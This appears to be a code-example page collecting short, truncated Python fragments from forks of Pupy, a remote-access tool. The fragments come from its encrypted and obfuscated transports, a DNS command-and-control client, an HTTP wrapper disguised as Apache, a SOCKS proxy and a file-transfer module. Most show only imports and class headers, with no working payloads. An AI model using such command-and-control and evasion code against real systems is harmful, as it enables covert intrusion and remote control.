コード例 #1
0
from ..base import BasePupyTransport, TransportError
import os, traceback, struct
import rsa
try:
    from Crypto import Random
except ImportError as e:
    Random=None
from cryptoutils.aes import NewAESCipher

from network.lib.buffer import Buffer
from network.lib import getLogger

BLOCK_SIZE = 16
CHUNK_SIZE = 4096

logger = getLogger('rsaaes')

class RSA_AESTransport(BasePupyTransport):
    """
    Implements a transport that simply apply a RSA_AES to each byte
    """
    password     = None
    iterations   = 1000
    key_size     = 32
    rsa_key_size = 4096
    aes_size     = 256

    __slots__ = (
        'aes_size', 'key_size',
        '_iv_enc', '_iv_dec',
        'enc_cipher', 'dec_cipher',
コード例 #2
0
ファイル: base.py プロジェクト: kefkahacks/pupy
class BaseTransport(BasePupyTransport):
    """ obfsproxy style alias """
    __slots__ = ()

class TransportError(Exception):
    __slots__ = ()

class PluggableTransportError(Exception):
    __slots__ = ()

from buffer import Buffer
from streams.PupySocketStream import addGetPeer

from network.lib import getLogger
logger = getLogger('chain')

class TransportWrapper(BasePupyTransport):

    __slots__ = ( 'cls_chain', 'chain' )

    cls_chain=[]

    def __init__(self, stream, **kwargs):
        super(TransportWrapper, self).__init__(stream, **kwargs)

        kwargs.update({
            'upstream_peer': self.upstream.transport.peer,
            'downstream_peer': self.downstream.transport.peer
        })
コード例 #3
0
ファイル: dnscnc.py プロジェクト: Strazzom/pupy
from threading import Thread, Event, Lock

import socket
import os

import subprocess

import tempfile
import platform

import network

from network.lib import getLogger

logger = getLogger('dnscnc')

def find_proxies(additional_proxies=None):
    proxy_info = find_default_proxy()
    if proxy_info:
        yield proxy_info

    for proxy_info in get_proxies(additional_proxies=additional_proxies):
        if proxy_info:
            yield proxy_info

class DNSCommandClientLauncher(DnsCommandsClient):
    def __init__(self, domain, ns=None, qtype='A', ns_timeout=3):
        self.stream = None
        self.commands = []
        self.lock = Lock()
コード例 #4
0
ファイル: httpwrap.py プロジェクト: midnightslacker/RatMuseum
# -*- coding: utf-8 -*-

__all__ = ['PupyHTTPWrapperServer']

from ..base import BasePupyTransport, ReleaseChainedTransport

from http_parser.parser import HttpParser
from os import path, stat
from network.lib.buffer import Buffer
from network.lib import getLogger

logger = getLogger('httpwrap')

class PupyHTTPWrapperServer(BasePupyTransport):
    path = '/index.php?d='
    allowed_methods = ('GET')
    server = None
    headers = {
        'Content-Type': 'text/html; charset=utf-8',
        'Server': 'Apache',
        'Connection': 'close',
    }

    __slots__ = (
        'parser', 'is_http',
        'body', 'downstream_buffer',
        'well_known', 'omit', 'probe_len'
    )

    def __init__(self, *args, **kwargs):
        super(PupyHTTPWrapperServer, self).__init__(*args, **kwargs)
コード例 #5
0
ファイル: online.py プロジェクト: kefkahacks/pupy
import tinyhttp
import socket
import time
import threading
import random
import urllib2
import scan
import netaddr
import struct
import igd
import sys
import json

from network.lib import getLogger
logger = getLogger('online')

from . import stun
from . import ntplib

ONLINE_STATUS = None
ONLINE_STATUS_CHECKED = None

ONLINE_CAPTIVE      = 1 << 0
ONLINE_MS           = 1 << 1
ONLINE              = ONLINE_MS | ONLINE_CAPTIVE
HOTSPOT             = 1 << 2
DNS                 = 1 << 3
DIRECT_DNS          = 1 << 4
HTTP                = 1 << 5
HTTPS               = 1 << 6
コード例 #6
0
from scandir import scandir
if scandir is None:
    from scandir import scandir_generic as scandir

import sys
import traceback

try:
    import umsgpack as msgpack
except ImportError:
    import msgpack

import re

from network.lib import getLogger
logger = getLogger('transfer')

FIELDS_MAP = {
    x: y
    for x, y in enumerate(
        ['st_mtime', 'st_gid', 'st_uid', 'st_mode', 'st_rdev'])
}

FIELDS_MAP_ENCODE = {y: x for x, y in FIELDS_MAP.iteritems()}

F_TYPE = 0
F_PATH = 1
F_FILES = 2
F_SIZE = 3
F_DATA = 4
F_EXC = 5
コード例 #7
0
ファイル: PupySocketStream.py プロジェクト: txtaly/pupy
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER ([email protected])
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
""" abstraction layer over rpyc streams to handle different transports and integrate obfsproxy pluggable transports """

from network.lib import getLogger
logger = getLogger('pss')

__all__ = [
    'PupySocketStream',
]

try:
    import kcp
    __all__.append(
        'PupyUDPSocketStream'
    )
except:
    logger.warning('Datagram based stream is not available: KCP missing')

import sys
from rpyc.core import SocketStream, Connection, Channel
import socket
import time
import errno
import traceback
import zlib

from rpyc.lib.compat import select, select_error, get_exc_errno, maxint

from network.lib.buffer import Buffer
コード例 #8
0
ファイル: websocket.py プロジェクト: trickster07/11111
__all__ = ('InvalidHTTPReq', 'MalformedData', 'MissingData', 'paths', 'UA',
           'PupyWebSocketTransport', 'PupyWebSocketClient',
           'PupyWebSocketServer')

import time
import base64
import struct
import random
import string
import re
from hashlib import sha1

from ..base import BasePupyTransport

from network.lib import getLogger
logger = getLogger('ws')


class InvalidHTTPReq(Exception):
    __slots__ = ()


class MalformedData(Exception):
    __slots__ = ()


class MissingData(Exception):
    __slots__ = ()


# IOCs: These should change per engagement.
コード例 #9
0
from threading import Thread, Lock

from socket import inet_ntop
from socket import AF_INET, AF_INET6

from Queue import Queue, Empty

import socket

import errno

import uuid

from network.lib.pupyrpc import nowait
from network.lib import getLogger
logger = getLogger('pyuvproxy')

CODE_SUCCEEDED, CODE_GENERAL_SRV_FAILURE, CODE_CONN_NOT_ALLOWED, \
    CODE_NET_NOT_REACHABLE, CODE_HOST_UNREACHABLE, CODE_CONN_REFUSED, \
    CODE_TTL_EXPIRED, CODE_COMMAND_NOT_SUPPORTED, \
    CODE_ADDRESS_TYPE_NOT_SUPPORTED, CODE_UNASSIGNED = xrange(10)

ERRNO_TO_SOCKS5 = {
    errno.ECONNREFUSED: CODE_CONN_REFUSED,
    errno.ETIMEDOUT: CODE_CONN_REFUSED,
    errno.EACCES: CODE_CONN_NOT_ALLOWED,
    errno.EAFNOSUPPORT: CODE_ADDRESS_TYPE_NOT_SUPPORTED,
    errno.EPROTOTYPE: CODE_ADDRESS_TYPE_NOT_SUPPORTED,
    errno.EFAULT: CODE_GENERAL_SRV_FAILURE,
    errno.ENETUNREACH: CODE_NET_NOT_REACHABLE,
    -1: CODE_CONN_REFUSED
コード例 #10
0
# https://raw.githubusercontent.com/jtriley/pystun/develop/stun/__init__.py

__all__ = ('stun_test', 'get_nat_type', 'get_ip_info', 'get_ip')

import binascii
import random
import socket

__version__ = '0.1.0'

from network.lib import getLogger
log = getLogger("pystun")

STUN_SERVERS = ('stun.ekiga.net', 'stun.ideasip.com', 'stun.voiparound.com',
                'stun.voipbuster.com', 'stun.voipstunt.com',
                'stun.voxgratia.org')

DEFAULTS = {
    'stun_port': 3478,
}

# stun attributes
MappedAddress = '0001'
ResponseAddress = '0002'
ChangeRequest = '0003'
SourceAddress = '0004'
ChangedAddress = '0005'
Username = '******'
Password = '******'
MessageIntegrity = '0008'
ErrorCode = '0009'
コード例 #11
0
# -*- coding: utf-8 -*-

__all__ = ('SyncRequestDispatchQueue', 'PupyConnection',
           'PupyConnectionThread')

import time

from rpyc.core import Connection, consts, brine
from threading import Thread, Lock
from Queue import Queue, Full, Empty

from network.lib import getLogger

logger = getLogger('pconn')
synclogger = getLogger('sync')
syncqueuelogger = getLogger('syncqueue')

from network.lib.ack import Ack
from network.lib.buffer import Buffer


############# Monkeypatch brine to be buffer firendly #############
def stream_dump(obj):
    buf = Buffer()
    brine._dump(obj, buf)
    return buf


@brine.register(brine._dump_registry, str)
def _dump_str_to_buffer(obj, stream):
    obj_len = len(obj)
コード例 #12
0
"""
The obfs3 module implements the obfs3 protocol.
"""

__all__ = ('Obfs3Client', 'Obfs3Server')

import random

from . import obfs3_dh
from ...base import BaseTransport
from ..cryptoutils import (NewAESCipher, AES_MODE_CTR, get_random,
                           hmac_sha256_digest)

from network.lib.buffer import Buffer
from network.lib import getLogger
logger = getLogger('obfs3')

MAX_PADDING = 8194

PUBKEY_LEN = 192
KEYLEN = 16  # is the length of the key used by E(K,s) -- that is, 16.
HASHLEN = 32  # length of output of sha256

ST_WAIT_FOR_KEY = 0  # Waiting for public key from the other party
ST_WAIT_FOR_HANDSHAKE = 1  # Waiting for the DH handshake
ST_SEARCHING_MAGIC = 2  # Waiting for magic strings from the other party
ST_OPEN = 3  # Sending application data.


class Obfs3Transport(BaseTransport):
    """
コード例 #13
0
# -*- coding: utf-8 -*-

from network.lib import getLogger
logger = getLogger('pvs')

__all__ = ['PupyVirtualStream']

from network.lib.buffer import Buffer
import threading

import traceback


class PupyVirtualStream(object):

    MAX_IO_CHUNK = 65536
    KEEP_ALIVE_REQUIRED = False
    compress = True

    __slots__ = ('upstream', 'on_receive', 'downstream', 'upstream_lock',
                 'downstream_lock', 'transport', 'transport_class',
                 'transport_kwargs', 'buf_in', 'buf_out', 'closed', 'peername')

    def __init__(self,
                 transport_class,
                 transport_kwargs={},
                 peername=None,
                 on_receive=None):
        self.on_receive = None
        self.closed = True